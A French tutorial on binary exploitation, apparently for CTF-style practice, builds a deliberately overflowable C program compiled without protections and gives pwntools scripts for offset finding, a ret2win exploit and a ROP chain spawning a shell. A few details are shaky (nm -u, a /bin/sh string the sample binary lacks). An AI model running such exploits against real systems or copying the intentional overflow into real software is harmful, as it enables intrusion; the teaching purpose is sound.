pwn

Tutoriel : PWN (Binary Exploitation)

22/04/2026
Exercice pour mieux comprendre le pwn

Tuto concret, direct et opérationnel sur le pwn classique : l’exploitation de buffer overflow sur binaire Linux 64 bits. Je vais te donner tout ce dont tu as besoin pour comprendre, reproduire et monter tes propres exploits.


Prérequis pour l'exploitation de binaires

  • Avoir des bases en Python.
  • Installer la librairie gcc .
  • Installer un débogueur (GDB).
  • Avoir Linux


1. Programme vulnérable (vuln.c)

#include <stdio.h>
#include <unistd.h>

void win() {
    write(1, "PWNED ! Flag : W0RM{G00D_B0Y}\n", 32);
}

void vuln() {
    char buffer[80];
    printf("[+] Buffer à l'adresse : %p\n", buffer);
    read(0, buffer, 200);   // overflow volontaire
}

int main() {
    setbuf(stdout, NULL);
    vuln();
    return 0;
}

Compilation sans protections (exactement ce qu’on veut) :

gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie -w

2. Reconnaissance du binaire

checksec --file=vuln

Recherche de vuln avec l'outil checksec pour le pwn

Tu devrais voir :

Voici les explications pour les mécanismes de sécurité (ou leur absence) indiqués par votre outil d'analyse binaire (probablement checksec) :

Analyse des protections binaires

  • No canary = Absence de "sentinelle" (valeur de pile) pour détecter et empêcher les dépassements de tampon (buffer overflows) avant le retour d'une fonction.
  • NX disabled (execstack) = La protection "No-Execute" est désactivée, ce qui signifie que la pile est exécutable et qu'un attaquant peut y injecter et lancer du code malveillant (shellcode).
  • No PIE = L'exécutable n'est pas un "Position Independent Executable" ; il est chargé à une adresse mémoire fixe, facilitant les attaques de type ROP (Return Oriented Programming).
  • Partial RELRO = La section "Relocation Read-Only" est incomplète ; si la table GOT (Global Offset Table) reste accessible en écriture, elle peut être détournée pour rediriger des fonctions vers du code arbitraire.


Trouve l’adresse de la fonction win :

objdump -d vuln | grep win
# ou
nm -u vuln | grep win

Exemple de résultat : 0x0000000000401192

*Adresse mémoire spécifique (exprimée en hexadécimal) pointant vers une instruction ou une donnée située dans l'espace d'adressage du programme.


3. Trouver l’offset (cyclic pattern)

Avec pwntools (le meilleur outil) :

from pwn import *

p = process("./vuln")
# ou remote("target.com", 1337)

payload = cyclic(200)
p.sendline(payload)
p.wait()

core = p.corefile
offset = cyclic_find(core.read(core.rsp, 4))
print("Offset trouvé :", offset)

Supposons que l’offset soit 104 (très courant sur ce genre de challenge).

4. Exploit simple (ret2win)

from pwn import *

# context.terminal = ['tmux', 'splitw', '-h']
context.binary = binary = ELF("./vuln")
context.log_level = "debug"

p = process(binary.path)
# p = remote("target", 9999)

win_addr = binary.symbols['win']        # ou 0x401192
# win_addr = p64(0x401192)

payload = b"A" * 104
payload += p64(win_addr)

p.sendline(payload)
p.interactive()

5. Version plus sale (ROP / shellcode)

Si tu veux un shell au lieu d’une fonction win :

from pwn import *

p = process("./vuln")
binary = ELF("./vuln")

offset = 104
pop_rdi = 0x00000000004011b3   # rop gadget (trouvé avec ROPgadget ou pwntools)

payload = flat(
    b"A" * offset,
    pop_rdi,
    next(binary.search(b"/bin/sh")),  # si tu as ajouté une string /bin/sh
    binary.plt.system
)

p.sendline(payload)
p.interactive()